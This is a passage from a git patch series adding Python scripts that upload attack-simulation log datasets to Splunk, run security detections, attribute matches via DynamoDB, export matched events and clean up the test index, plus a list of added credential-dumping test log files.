datasets: + name = dataset.get("name", "unknown") + dataset_path = dataset.get("path") + source = dataset.get("source") + sourcetype = dataset.get("sourcetype") + if not dataset_path or not source or not sourcetype: + print(f" ! Dataset '{name}' missing path/source/sourcetype, skipping") + continue + + full_path = resolve_dataset_path(project_root, yml_file, dataset_path) + if not full_path.exists(): + print(f" ! Dataset file not found: {full_path}") + continue + + print(f" dataset '{name}' -> index={index}, source={source}, " + f"sourcetype={sourcetype}") + event_uuids, failed = upload_dataset_lines( + session=session, + url=url, + config=config, + file_path=full_path, + index=index, + source=source, + sourcetype=sourcetype, + batch_size=batch_size, + verify_tls=verify_tls, + ) + print(f" + {len(event_uuids)} event(s) sent, {failed} failed") + + dynamo_utils.store_upload( + table=table, + attack_data_uuid=file_id, + attack_data_file=rel_file, + dataset_name=name, + source=source, + sourcetype=sourcetype, + index_name=index, + event_uuids=event_uuids, + ) + # Multiple datasets may share a name; merge their UUID sets. + dataset_uuids.setdefault(name, set()).update(event_uuids) + sent_events += len(event_uuids) + failed_events += failed + + return file_id, rel_file, dataset_uuids, sent_events, failed_events + + +def do_upload( + yaml_files: List[Path], + table, + hec_config: Dict[str, str], + project_root: Path, + index: str, + batch_size: int, + verify_tls: bool, +) -> Dict[str, Dict[str, Any]]: + """Upload all attack data files. + + Returns {attack_data_uuid: {"file": , "datasets": {name: {uuids}}}}. + """ + if not verify_tls: + disable_warnings() + session = requests.Session() + url = build_hec_url(hec_config) + + uuid_map: Dict[str, Dict[str, Any]] = {} + total_sent = 0 + total_failed = 0 + for yml_file in yaml_files: + file_id, rel_file, dataset_uuids, sent, failed = upload_attack_data_file( + session=session, + url=url, + table=table, + yml_file=yml_file, + project_root=project_root, + config=hec_config, + index=index, + batch_size=batch_size, + verify_tls=verify_tls, + ) + total_sent += sent + total_failed += failed + if file_id and dataset_uuids: + entry = uuid_map.setdefault(file_id, {"file": rel_file, "datasets": {}}) + for name, uuids in dataset_uuids.items(): + entry["datasets"].setdefault(name, set()).update(uuids) + + print(f"\nUpload complete: {total_sent} event(s) sent, {total_failed} failed, " + f"{len(uuid_map)} attack data file(s) mapped in DynamoDB") + return uuid_map + + +# --------------------------------------------------------------------------- # +# Detection running + attribution +# --------------------------------------------------------------------------- # +def _file_uuid_set(entry: Dict[str, Any]) -> Set[str]: + """Union of all dataset UUID sets for one attack data file entry.""" + result: Set[str] = set() + for uuids in entry["datasets"].values(): + result.update(uuids) + return result + + +def do_detect( + detection_files: List[Path], + service, + table, + uuid_map: Dict[str, Dict[str, Any]], + index: str, + earliest: str, + latest: str, +) -> Set[str]: + """Run detections, attribute matched hosts to attack data files, store in DynamoDB. + + Returns the global set of matched host UUIDs (across all detections). + """ + all_matched: Set[str] = set() + our_uuids: Set[str] = set() + for entry in uuid_map.values(): + our_uuids.update(_file_uuid_set(entry)) + + print(f"\nRunning {len(detection_files)} detection(s) over index={index} " + f"(earliest={earliest}, latest={latest})") + + for det_file in detection_files: + detection = detection_utils.parse_detection_file(det_file) + if not detection: + print(f" ! Skipping non-detection file: {det_file}") + continue + + patched = detection_utils.add_host_output_field(detection["search"]) + print(f"\n Detection: {detection['name']}") + try: + rows = splunk_search.run_search( + service, patched, earliest_time=earliest, latest_time=latest + ) + except Exception as exc: # noqa: BLE001 - report and continue + print(f" x Search failed: {exc}") + continue + + matched_hosts = splunk_search.collect_hosts_from_rows(rows) + # Restrict to hosts we uploaded (ignore any pre-existing data in the index). + matched_hosts &= our_uuids + print(f" results: {len(rows)} row(s), {len(matched_hosts)} matched host(s)") + + if not matched_hosts: + continue + all_matched.update(matched_hosts) + + # Attribute matched hosts back to each attack data file. + for attack_data_uuid, entry in uuid_map.items(): + attributed = sorted(matched_hosts & _file_uuid_set(entry)) + if not attributed: + continue + dynamo_utils.store_detection_result( + table=table, + attack_data_uuid=attack_data_uuid, + detection_id=detection.get("id", ""), + detection_name=detection["name"], + detection_file=detection["file"], + matched_host_uuids=attributed, + ) + print(f" {attack_data_uuid}: {len(attributed)} matched event(s)") + + return all_matched + + +# --------------------------------------------------------------------------- # +# Export +# --------------------------------------------------------------------------- # +def _safe_filename(text: str) -> str: + """Make a dataset name safe to use as a filename component.""" + return re.sub(r"[^A-Za-z0-9._-]+", "_", text).strip("_") or "dataset" + + +def _write_events(path: Path, raw_events: List[str]) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, "w", encoding="utf-8") as handle: + for raw in raw_events: + handle.write(raw.rstrip("\n") + "\n") + + +def update_attack_data_yml( + project_root: Path, + file_rel: str, + attack_data_uuid: str, + dataset_events: Dict[str, List[str]], +) -> None: + """Save curated per-dataset logs next to the YAML and update the YAML in place. + + For each dataset that produced matches, its exported events are written to + ``/_.log``. The attack data YAML + is then updated with today's date and a datasets section repointed to those + curated files (datasets without matches are dropped). + """ + yml_abs = Path(file_rel) + if not yml_abs.is_absolute(): + yml_abs = (project_root / file_rel).resolve() + if not yml_abs.is_file(): + print(f" ! Cannot update attack data yml (not found): {yml_abs}") + return + + folder = yml_abs.parent + written_paths: Dict[str, str] = {} + for name, events in dataset_events.items(): + out_file = folder / f"{_safe_filename(name)}_{attack_data_uuid}.log" + _write_events(out_file, events) + try: + written_paths[name] = "/" + str(out_file.relative_to(project_root)) + except ValueError: + written_paths[name] = out_file.name + + try: + with open(yml_abs, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Failed to read {yml_abs}: {exc}") + return + if not isinstance(data, dict): + print(f" ! Unexpected YAML structure in {yml_abs}; not updating") + return + + data["date"] = datetime.now().strftime("%Y-%m-%d") + new_datasets = [] + for dataset in data.get("datasets", []): + name = dataset.get("name") + if name in written_paths: + updated = dict(dataset) + updated["path"] = written_paths[name] + new_datasets.append(updated) + if new_datasets: + data["datasets"] = new_datasets + + try: + with open(yml_abs, "w", encoding="utf-8") as handle: + yaml.safe_dump( + data, handle, sort_keys=False, default_flow_style=False, + allow_unicode=True, + ) + except OSError as exc: + print(f" ! Failed to write {yml_abs}: {exc}") + return + print(f" updated attack data yml: {yml_abs} " + f"(date + {len(new_datasets)} dataset(s))") + + +def do_export( + service, + index: str, + uuid_map: Dict[str, Dict[str, Any]], + matched_hosts: Set[str], + export_dir: Optional[str], + update_attack_data: bool, + project_root: Path, + earliest: str, + latest: str, +) -> None: + """Export matched events, one file per dataset. + + For every dataset of every attack data file, the intersection of that + dataset's uploaded UUIDs with the globally matched hosts is exported to + ``/_.log``. When + ``update_attack_data`` is set, the curated events are also written into the + attack data YAML's own folder and the YAML is updated (new date + datasets + section). + """ + if not matched_hosts: + print("\nNo matched host UUIDs to export.") + return + + out_dir: Optional[Path] = None + if export_dir: + out_dir = Path(export_dir) + if not out_dir.is_absolute(): + out_dir = (Path.cwd() / out_dir).resolve() + out_dir.mkdir(parents=True, exist_ok=True) + + print(f"\nExporting matched events per dataset from index={index}") + total_events = 0 + total_files = 0 + + for attack_data_uuid, entry in uuid_map.items(): + dataset_events: Dict[str, List[str]] = {} + for dataset_name, dataset_uuids in entry["datasets"].items(): + hosts = matched_hosts & dataset_uuids + if not hosts: + continue + + raw_events = splunk_search.export_events( + service, index, hosts, earliest_time=earliest, latest_time=latest + ) + total_events += len(raw_events) + filename = f"{_safe_filename(dataset_name)}_{attack_data_uuid}.log" + print(f" {dataset_name} ({attack_data_uuid}): " + f"{len(hosts)} matched host(s), {len(raw_events)} event(s) -> {filename}") + + if out_dir is not None: + _write_events(out_dir / filename, raw_events) + total_files += 1 + dataset_events[dataset_name] = raw_events + + if update_attack_data and dataset_events: + update_attack_data_yml( + project_root, entry.get("file", ""), attack_data_uuid, dataset_events + ) + + if out_dir is not None: + print(f"Wrote {total_files} dataset file(s), {total_events} event(s) to {out_dir}") + elif not update_attack_data: + print(f"Retrieved {total_events} event(s) " + "(no --export-dir / --update-attack-data; not written)") + + +# --------------------------------------------------------------------------- # +# Argument parsing +# --------------------------------------------------------------------------- # +def add_common_splunk_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--host", help="Splunk host (default: $SPLUNK_HOST)") + parser.add_argument( + "--index", default=DEFAULT_INDEX, + help=f"Target Splunk index (default: {DEFAULT_INDEX})", + ) + parser.add_argument( + "--dynamodb-table", + help="DynamoDB table name (default: $DYNAMODB_TABLE or " + f"{dynamo_utils.DEFAULT_TABLE_NAME})", + ) + parser.add_argument("--aws-region", help="AWS region (default: $AWS_REGION)") + + +def add_hec_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--hec-token", help="HEC token (default: $SPLUNK_HEC_TOKEN)") + parser.add_argument( + "--hec-port", help=f"HEC port (default: $SPLUNK_HEC_PORT or {DEFAULT_HEC_PORT})" + ) + parser.add_argument( + "--batch-size", type=int, default=DEFAULT_BATCH_SIZE, + help="Events per HEC request; use 1 for one request per line " + f"(default: {DEFAULT_BATCH_SIZE})", + ) + parser.add_argument( + "--verify-tls", action="store_true", + help="Verify the Splunk TLS certificate (disabled by default)", + ) + + +def add_search_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--username", help="Splunk user (default: $SPLUNK_USERNAME)") + parser.add_argument("--password", help="Splunk password (default: $SPLUNK_PASSWORD)") + parser.add_argument( + "--mgmt-port", + help=f"Splunk management port (default: $SPLUNK_PORT or {DEFAULT_MGMT_PORT})", + ) + parser.add_argument( + "--earliest", default=splunk_search.DEFAULT_EARLIEST, + help="Search earliest time (default: 0 / all time)", + ) + parser.add_argument( + "--latest", default=splunk_search.DEFAULT_LATEST, + help="Search latest time (default: now)", + ) + parser.add_argument( + "--verify-ssl", action="store_true", + help="Verify the Splunk TLS certificate for searches (disabled by default)", + ) + + +def parse_arguments() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + sub = parser.add_subparsers(dest="command", required=True) + + # upload + p_upload = sub.add_parser("upload", help="Upload attack data to Splunk HEC") + p_upload.add_argument( + "--attack-data", required=True, + help="Attack data YAML file or folder to upload", + ) + add_common_splunk_args(p_upload) + add_hec_args(p_upload) + + # run (upload + detect + export) + p_run = sub.add_parser( + "run", help="Upload, run detections, and export matching events" + ) + p_run.add_argument( + "--attack-data", required=True, + help="Attack data YAML file or folder", + ) + p_run.add_argument( + "--detection", required=True, + help="Detection YAML file or folder (security_content)", + ) + p_run.add_argument( + "--export-dir", + help="Folder to write exported logs, one file per dataset named " + "_.log", + ) + p_run.add_argument( + "--update-attack-data", action="store_true", + help="Save curated logs into each attack data YAML's own folder and " + "update the YAML (new date + datasets section)", + ) + p_run.add_argument( + "--skip-upload", action="store_true", + help="Skip uploading (reuse event UUIDs already in DynamoDB)", + ) + p_run.add_argument( + "--no-delete", action="store_true", + help="Do not run 'index= | delete' to clean up after each " + "attack data file (cleanup is on by default)", + ) + add_common_splunk_args(p_run) + add_hec_args(p_run) + add_search_args(p_run) + + # export + p_export = sub.add_parser( + "export", help="Export events matched by detections (from DynamoDB)" + ) + p_export.add_argument( + "--export-dir", + help="Folder to write exported logs, one file per dataset named " + "_.log", + ) + p_export.add_argument( + "--update-attack-data", action="store_true", + help="Save curated logs into each attack data YAML's own folder and " + "update the YAML (new date + datasets section)", + ) + add_common_splunk_args(p_export) + add_search_args(p_export) + + return parser.parse_args() + + +# --------------------------------------------------------------------------- # +# Command handlers +# --------------------------------------------------------------------------- # +def resolve_attack_data_files(raw_path: str, project_root: Path) -> List[Path]: + path = Path(raw_path) + if not path.is_absolute(): + candidate = (Path.cwd() / path) + path = candidate if candidate.exists() else (project_root / raw_path) + files = find_attack_data_files(path) + if not files: + print(f"Error: no attack data files found at {path}") + sys.exit(1) + return files + + +def resolve_detection_files(raw_path: str) -> List[Path]: + files = detection_utils.find_detection_files(raw_path) + if not files: + print(f"Error: no detection files found at {raw_path}") + sys.exit(1) + return files + + +def cmd_upload(args: argparse.Namespace) -> None: + project_root = get_project_root() + try: + hec_config = load_hec_config(args) + except ValueError as exc: + print(f"Error: {exc}") + sys.exit(1) + if args.batch_size < 1: + print("Error: --batch-size must be >= 1") + sys.exit(1) + + yaml_files = resolve_attack_data_files(args.attack_data, project_root) + table, table_name = get_dynamo_table(args) + print(f"Uploading to Splunk HEC at {hec_config['host']}:{hec_config['port']} " + f"(index={args.index}); DynamoDB table={table_name}") + print(f"Found {len(yaml_files)} attack data file(s)") + + do_upload( + yaml_files=yaml_files, + table=table, + hec_config=hec_config, + project_root=project_root, + index=args.index, + batch_size=args.batch_size, + verify_tls=args.verify_tls, + ) + + +def cmd_run(args: argparse.Namespace) -> None: + project_root = get_project_root() + if args.batch_size < 1: + print("Error: --batch-size must be >= 1") + sys.exit(1) + + try: + mgmt_config = load_mgmt_config(args) + if not args.skip_upload: + hec_config = load_hec_config(args) + except ValueError as exc: + print(f"Error: {exc}") + sys.exit(1) + + yaml_files = resolve_attack_data_files(args.attack_data, project_root) + detection_files = resolve_detection_files(args.detection) + table, table_name = get_dynamo_table(args) + print(f"DynamoDB table={table_name}") + + # Cleanup after each file keeps only one attack data file's data in the + # index at a time, so `index=test | delete` is safe. In --skip-upload mode + # nothing is re-uploaded, so cleanup is disabled to avoid wiping the index. + do_cleanup = not args.no_delete and not args.skip_upload + if args.skip_upload and not args.no_delete: + print("Note: --skip-upload set; index cleanup after each file is disabled") + + if not args.verify_ssl: + disable_warnings() + service = splunk_search.connect( + host=mgmt_config["host"], + port=mgmt_config["port"], + username=mgmt_config["username"], + password=mgmt_config["password"], + verify_ssl=args.verify_ssl, + ) + + hec_session = None + hec_url = None + if not args.skip_upload: + if not args.verify_tls: + disable_warnings() + hec_session = requests.Session() + hec_url = build_hec_url(hec_config) + + total_matched = 0 + files_processed = 0 + + # Process one attack data file at a time: upload -> detect -> export -> delete. + for yml_file in yaml_files: + if args.skip_upload: + file_id, _ = parse_attack_data_file(yml_file) + if not file_id: + print(f"\nSkipping {yml_file} - no valid attack data structure") + continue + datasets = dynamo_utils.get_uploads_for_attack_data(table, file_id) + print(f"\nProcessing {_relative(yml_file, project_root)} " + f"(skip-upload; {sum(len(u) for u in datasets.values())} UUID(s))") + uuid_map = { + file_id: {"file": _relative(yml_file, project_root), "datasets": datasets} + } + else: + file_id, rel_file, dataset_uuids, _, _ = upload_attack_data_file( + session=hec_session, + url=hec_url, + table=table, + yml_file=yml_file, + project_root=project_root, + config=hec_config, + index=args.index, + batch_size=args.batch_size, + verify_tls=args.verify_tls, + ) + if not file_id or not dataset_uuids: + continue + uuid_map = {file_id: {"file": rel_file, "datasets": dataset_uuids}} + + if not any(entry["datasets"] for entry in uuid_map.values()): + print(" ! No event UUIDs for this file; skipping detections") + if do_cleanup: + splunk_search.delete_index_data(service, args.index) + continue + + matched = do_detect( + detection_files=detection_files, + service=service, + table=table, + uuid_map=uuid_map, + index=args.index, + earliest=args.earliest, + latest=args.latest, + ) + do_export( + service=service, + index=args.index, + uuid_map=uuid_map, + matched_hosts=matched, + export_dir=args.export_dir, + update_attack_data=args.update_attack_data, + project_root=project_root, + earliest=args.earliest, + latest=args.latest, + ) + + # Delete this file's data before moving on to the next one. + if do_cleanup: + deleted = splunk_search.delete_index_data(service, args.index) + print(f" deleted {deleted} event(s) from index={args.index}") + + total_matched += len(matched) + files_processed += 1 + + print("\n" + "=" * 60) + print("PIPELINE SUMMARY") + print("=" * 60) + print(f"Attack data files processed: {files_processed}") + print(f"Detections run per file: {len(detection_files)}") + print(f"Total matched events: {total_matched}") + + +def cmd_export(args: argparse.Namespace) -> None: + project_root = get_project_root() + try: + mgmt_config = load_mgmt_config(args) + except ValueError as exc: + print(f"Error: {exc}") + sys.exit(1) + + table, table_name = get_dynamo_table(args) + print(f"DynamoDB table={table_name}") + uuid_map = dynamo_utils.get_all_uploads(table) + matched = dynamo_utils.get_all_matched_host_uuids(table) + print(f"Found {len(uuid_map)} attack data file(s) and " + f"{len(matched)} matched host UUID(s) in DynamoDB") + + if not args.verify_ssl: + disable_warnings() + service = splunk_search.connect( + host=mgmt_config["host"], + port=mgmt_config["port"], + username=mgmt_config["username"], + password=mgmt_config["password"], + verify_ssl=args.verify_ssl, + ) + do_export( + service=service, + index=args.index, + uuid_map=uuid_map, + matched_hosts=matched, + export_dir=args.export_dir, + update_attack_data=args.update_attack_data, + project_root=project_root, + earliest=args.earliest, + latest=args.latest, + ) + + +def main() -> None: + args = parse_arguments() + load_env() + if args.command == "upload": + cmd_upload(args) + elif args.command == "run": + cmd_run(args) + elif args.command == "export": + cmd_export(args) + else: # pragma: no cover - argparse enforces valid commands + print(f"Unknown command: {args.command}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/scripts/requirements.txt b/scripts/requirements.txt new file mode 100644 index 000000000..1ca10b364 --- /dev/null +++ b/scripts/requirements.txt @@ -0,0 +1,6 @@ +requests +urllib3 +pyyaml +splunk-sdk +boto3 +python-dotenv diff --git a/scripts/splunk_search.py b/scripts/splunk_search.py new file mode 100644 index 000000000..89a26a5f6 --- /dev/null +++ b/scripts/splunk_search.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +""" +Splunk search helpers (REST / management API). + +Used to run security_content detections and to export matching raw events. +Uploading of data is handled separately over HEC in migrate.py; searching uses +the Splunk management port (default 8089) with username/password. +""" + +import time +from typing import Dict, Iterable, List, Optional, Set + +import splunklib.client as client +import splunklib.results as results + +DEFAULT_MGMT_PORT = 8089 +# Attack data timestamps can be years old, so default to an all-time window. +DEFAULT_EARLIEST = "0" +DEFAULT_LATEST = "now" +# Max UUIDs per exported search to keep the SPL query length reasonable. +EXPORT_HOST_CHUNK = 500 + + +def connect( + host: str, + port: int, + username: str, + password: str, + verify_ssl: bool = False, +): + """Connect to Splunk via the management API and return a service handle.""" + return client.connect( + host=host, + port=int(port), + username=username, + password=password, + scheme="https", + verify=verify_ssl, + ) + + +def _as_search_command(spl: str) -> str: + """Ensure the SPL is dispatchable (must start with 'search' or '|').""" + stripped = spl.strip() + if stripped.startswith("|") or stripped.lower().startswith("search "): + return stripped + return f"search {stripped}" + + +def run_search( + service, + spl: str, + earliest_time: str = DEFAULT_EARLIEST, + latest_time: str = DEFAULT_LATEST, + max_count: int = 50000, +) -> List[Dict[str, str]]: + """Run a blocking search and return result rows as dicts.""" + query = _as_search_command(spl) + job = service.jobs.create( + query, + earliest_time=earliest_time, + latest_time=latest_time, + max_count=max_count, + output_mode="json", + exec_mode="normal", + ) + while not job.is_done(): + time.sleep(0.5) + + rows: List[Dict[str, str]] = [] + stream = job.results(output_mode="json", count=max_count) + for item in results.JSONResultsReader(stream): + if isinstance(item, dict): + rows.append(item) + job.cancel() + return rows + + +def delete_index_data(service, index: str) -> int: + """Delete all events in an index via ``search index= | delete``. + + Requires a Splunk user with the ``can_delete`` capability. Uses an all-time + window so every event is removed regardless of its timestamp. Returns the + number of events reported deleted. + """ + query = f"search index={index} | delete" + print(f" cleanup: {query}") + rows = run_search(service, query, earliest_time="0", latest_time="now", max_count=1) + deleted = 0 + for row in rows: + try: + deleted += int(row.get("deleted", 0)) + except (TypeError, ValueError): + continue + return deleted + + +def collect_hosts_from_rows(rows: List[Dict[str, str]]) -> Set[str]: + """Extract the set of non-empty host values from search result rows.""" + hosts: Set[str] = set() + for row in rows: + value = row.get("host") + if isinstance(value, list): + hosts.update(str(v) for v in value if v) + elif value: + hosts.add(str(value)) + return hosts + + +def _chunked(items: List[str], size: int) -> Iterable[List[str]]: + for i in range(0, len(items), size): + yield items[i : i + size] + + +def build_export_query(index: str, host_uuids: List[str]) -> str: + """Build an export query of the form: index= host IN (...).""" + quoted = ", ".join(f'"{h}"' for h in host_uuids) + return f'search index={index} host IN ({quoted})' + + +def export_events( + service, + index: str, + host_uuids: Set[str], + earliest_time: str = DEFAULT_EARLIEST, + latest_time: str = DEFAULT_LATEST, + max_count: int = 100000, +) -> List[str]: + """Export the raw events for the given host UUIDs from an index. + + Runs one search per chunk of host UUIDs (to bound query length) and returns + the collected ``_raw`` event strings. + """ + raw_events: List[str] = [] + ordered = sorted(host_uuids) + for chunk in _chunked(ordered, EXPORT_HOST_CHUNK): + query = build_export_query(index, chunk) + " | table _raw" + rows = run_search( + service, + query, + earliest_time=earliest_time, + latest_time=latest_time, + max_count=max_count, + ) + for row in rows: + raw = row.get("_raw") + if raw: + raw_events.append(raw) + return raw_events From ff7c141ce213a8320100e2b70de34fe3c4b89bec Mon Sep 17 00:00:00 2001 From: P4T12ICK Date: Tue, 7 Jul 2026 17:10:25 +0200 Subject: [PATCH 02/24] update scripts --- .gitignore | 3 + scripts/README.md | 23 +++--- scripts/migrate.py | 154 +++++++++++++++++++-------------------- scripts/splunk_search.py | 2 +- 4 files changed, 91 insertions(+), 91 deletions(-) diff --git a/.gitignore b/.gitignore index b7b40b0b9..829d6e3c4 100644 --- a/.gitignore +++ b/.gitignore @@ -7,6 +7,9 @@ __pycache__/ *.py[cod] *$py.class +scripts/detection_tests/** +scripts/attack_technique_tests/** + # C extensions *.so .env diff --git a/scripts/README.md b/scripts/README.md index 463201317..441b17809 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -159,17 +159,22 @@ export AWS_REGION="us-east-1" ### Full pipeline (upload → detect → export → cleanup) -The `run` command processes **one attack data file at a time**: it uploads that -file's datasets, runs every detection against them, exports the matched events, -and then deletes the file's data from the index (`index= | delete`) -before moving on to the next file. Because only a single attack data file's data -is in the index at any time, the index-wide delete cleanly isolates each file -and keeps detection results from mingling across files. +The `run` command runs in four stages: + +1. **Upload** every attack data file (and all of their datasets) to the index. + Each event line gets its own UUID (used as the Splunk `host`) recorded in + DynamoDB against its attack data file and dataset. +2. **Detect** — run every detection once over the whole index. +3. **Attribute & export** — for each detection hit, the matched `host` UUIDs are + mapped back to the attack data file and dataset they came from (via the + DynamoDB UUID map). Only events with detection hits are exported, one file + per dataset. +4. **Cleanup** — once everything is detected and exported, delete the uploaded + data from the index with `index= | delete`. Cleanup is on by default and requires a Splunk user with the `can_delete` capability. Disable it with `--no-delete`. Cleanup is automatically skipped when -`--skip-upload` is used (nothing is re-uploaded, so deleting would wipe data -that later files still need). +`--skip-upload` is used (nothing was re-uploaded in that run). Single attack data file + single detection: @@ -198,7 +203,7 @@ python scripts/migrate.py run \ --skip-upload ``` -Keep the uploaded data in the index after the run (skip the per-file cleanup): +Keep the uploaded data in the index after the run (skip the final cleanup): ```bash python scripts/migrate.py run \ diff --git a/scripts/migrate.py b/scripts/migrate.py index 5957e5b55..c5b231c21 100644 --- a/scripts/migrate.py +++ b/scripts/migrate.py @@ -617,6 +617,10 @@ def do_export( """ if not matched_hosts: print("\nNo matched host UUIDs to export.") + for attack_data_uuid, entry in uuid_map.items(): + print(f" ! WARNING: no detection matches for " + f"{entry.get('file', attack_data_uuid)}; " + "leaving attack data unchanged (no export)") return out_dir: Optional[Path] = None @@ -631,6 +635,13 @@ def do_export( total_files = 0 for attack_data_uuid, entry in uuid_map.items(): + # Skip files with no detection hits: no export, no yml update, warn. + if not (matched_hosts & _file_uuid_set(entry)): + print(f" ! WARNING: no detection matches for " + f"{entry.get('file', attack_data_uuid)}; " + "leaving attack data unchanged (no export)") + continue + dataset_events: Dict[str, List[str]] = {} for dataset_name, dataset_uuids in entry["datasets"].items(): hosts = matched_hosts & dataset_uuids @@ -857,12 +868,35 @@ def cmd_run(args: argparse.Namespace) -> None: table, table_name = get_dynamo_table(args) print(f"DynamoDB table={table_name}") - # Cleanup after each file keeps only one attack data file's data in the - # index at a time, so `index=test | delete` is safe. In --skip-upload mode - # nothing is re-uploaded, so cleanup is disabled to avoid wiping the index. - do_cleanup = not args.no_delete and not args.skip_upload - if args.skip_upload and not args.no_delete: - print("Note: --skip-upload set; index cleanup after each file is disabled") + # Stage 1: upload every attack data file first, building the full UUID map. + if args.skip_upload: + print("\nSkipping upload; loading event UUIDs from DynamoDB") + uuid_map: Dict[str, Dict[str, Any]] = {} + for yml_file in yaml_files: + file_id, _ = parse_attack_data_file(yml_file) + if not file_id: + continue + datasets = dynamo_utils.get_uploads_for_attack_data(table, file_id) + uuid_map[file_id] = { + "file": _relative(yml_file, project_root), + "datasets": datasets, + } + total = sum(len(u) for u in datasets.values()) + print(f" {file_id}: {len(datasets)} dataset(s), {total} event UUID(s)") + else: + uuid_map = do_upload( + yaml_files=yaml_files, + table=table, + hec_config=hec_config, + project_root=project_root, + index=args.index, + batch_size=args.batch_size, + verify_tls=args.verify_tls, + ) + + if not any(entry["datasets"] for entry in uuid_map.values()): + print("No uploaded event UUIDs available; aborting.") + sys.exit(1) if not args.verify_ssl: disable_warnings() @@ -874,87 +908,45 @@ def cmd_run(args: argparse.Namespace) -> None: verify_ssl=args.verify_ssl, ) - hec_session = None - hec_url = None - if not args.skip_upload: - if not args.verify_tls: - disable_warnings() - hec_session = requests.Session() - hec_url = build_hec_url(hec_config) - - total_matched = 0 - files_processed = 0 - - # Process one attack data file at a time: upload -> detect -> export -> delete. - for yml_file in yaml_files: - if args.skip_upload: - file_id, _ = parse_attack_data_file(yml_file) - if not file_id: - print(f"\nSkipping {yml_file} - no valid attack data structure") - continue - datasets = dynamo_utils.get_uploads_for_attack_data(table, file_id) - print(f"\nProcessing {_relative(yml_file, project_root)} " - f"(skip-upload; {sum(len(u) for u in datasets.values())} UUID(s))") - uuid_map = { - file_id: {"file": _relative(yml_file, project_root), "datasets": datasets} - } - else: - file_id, rel_file, dataset_uuids, _, _ = upload_attack_data_file( - session=hec_session, - url=hec_url, - table=table, - yml_file=yml_file, - project_root=project_root, - config=hec_config, - index=args.index, - batch_size=args.batch_size, - verify_tls=args.verify_tls, - ) - if not file_id or not dataset_uuids: - continue - uuid_map = {file_id: {"file": rel_file, "datasets": dataset_uuids}} - - if not any(entry["datasets"] for entry in uuid_map.values()): - print(" ! No event UUIDs for this file; skipping detections") - if do_cleanup: - splunk_search.delete_index_data(service, args.index) - continue - - matched = do_detect( - detection_files=detection_files, - service=service, - table=table, - uuid_map=uuid_map, - index=args.index, - earliest=args.earliest, - latest=args.latest, - ) - do_export( - service=service, - index=args.index, - uuid_map=uuid_map, - matched_hosts=matched, - export_dir=args.export_dir, - update_attack_data=args.update_attack_data, - project_root=project_root, - earliest=args.earliest, - latest=args.latest, - ) + # Stage 2: run all detections once over the whole index. do_detect attributes + # each matched host UUID back to its attack data file via the UUID map. + matched = do_detect( + detection_files=detection_files, + service=service, + table=table, + uuid_map=uuid_map, + index=args.index, + earliest=args.earliest, + latest=args.latest, + ) - # Delete this file's data before moving on to the next one. - if do_cleanup: - deleted = splunk_search.delete_index_data(service, args.index) - print(f" deleted {deleted} event(s) from index={args.index}") + # Stage 3: export only the events with detection hits, per dataset/file. + do_export( + service=service, + index=args.index, + uuid_map=uuid_map, + matched_hosts=matched, + export_dir=args.export_dir, + update_attack_data=args.update_attack_data, + project_root=project_root, + earliest=args.earliest, + latest=args.latest, + ) - total_matched += len(matched) - files_processed += 1 + # Stage 4: clean up the index once everything has been detected and exported. + do_cleanup = not args.no_delete and not args.skip_upload + if args.skip_upload and not args.no_delete: + print("\nNote: --skip-upload set; index cleanup skipped") + if do_cleanup: + deleted = splunk_search.delete_index_data(service, args.index) + print(f"\nCleanup: deleted {deleted} event(s) from index={args.index}") print("\n" + "=" * 60) print("PIPELINE SUMMARY") print("=" * 60) - print(f"Attack data files processed: {files_processed}") - print(f"Detections run per file: {len(detection_files)}") - print(f"Total matched events: {total_matched}") + print(f"Attack data files: {len(uuid_map)}") + print(f"Detections run: {len(detection_files)}") + print(f"Matched events: {len(matched)}") def cmd_export(args: argparse.Namespace) -> None: diff --git a/scripts/splunk_search.py b/scripts/splunk_search.py index 89a26a5f6..5096310ce 100644 --- a/scripts/splunk_search.py +++ b/scripts/splunk_search.py @@ -56,6 +56,7 @@ def run_search( ) -> List[Dict[str, str]]: """Run a blocking search and return result rows as dicts.""" query = _as_search_command(spl) + print(f" SPL [earliest={earliest_time}, latest={latest_time}]: {query}") job = service.jobs.create( query, earliest_time=earliest_time, @@ -84,7 +85,6 @@ def delete_index_data(service, index: str) -> int: number of events reported deleted. """ query = f"search index={index} | delete" - print(f" cleanup: {query}") rows = run_search(service, query, earliest_time="0", latest_time="now", max_count=1) deleted = 0 for row in rows: From 588eb96ebc14566d5db3a80140eb4a925c62fb0c Mon Sep 17 00:00:00 2001 From: P4T12ICK Date: Tue, 7 Jul 2026 17:15:41 +0200 Subject: [PATCH 03/24] test data --- .gitignore | 3 - .../atomic_red_team/atomic_red_team.yml | 35 + .../createdump_windows-sysmon.log | 3 + .../atomic_red_team/crowdstrike_falcon.log | 3 + .../procdump_t1003.001_capattack.zip | Bin 0 -> 2852243 bytes .../procdump_windows-security.log | 3 + .../atomic_red_team/windows-powershell.log | 3 + .../atomic_red_team/windows-security.log | 3 + .../atomic_red_team/windows-sysmon.log | 3 + .../windows-sysmon_creddump.log | 3 + .../atomic_red_team/windows-system.log | 3 + .../T1003.001/snapattack/snapattack.log | 3 + .../T1003.001/snapattack/snapattack.yml | 14 + .../atomic_red_team/atomic_red_team.yml | 19 + ...ttack-range-windows-domain-controller.json | 8899 +++++++++++++++++ .../atomic_red_team/copy-powershell.log | 3 + .../atomic_red_team/crowdstrike_falcon.log | 3 + .../atomic_red_team/windows-powershell.log | 3 + .../atomic_red_team/windows-security.log | 3 + .../atomic_red_team/windows-security_ssa.log | 3 + .../atomic_red_team/windows-sysmon.log | 3 + .../atomic_red_team/windows-system.log | 3 + .../data.yml | 13 + .../windows-xml.log | 3 + .../T1003.002/serioussam/serioussam.yml | 14 + .../serioussam/windows-powershell.log | 3 + .../T1003.002/serioussam/windows-security.log | 3 + .../T1003.002/serioussam/windows-xml.log | 3 + .../T1003.002/snapattack/snapattack.log | 3 + .../T1003.002/snapattack/snapattack.yml | 14 + 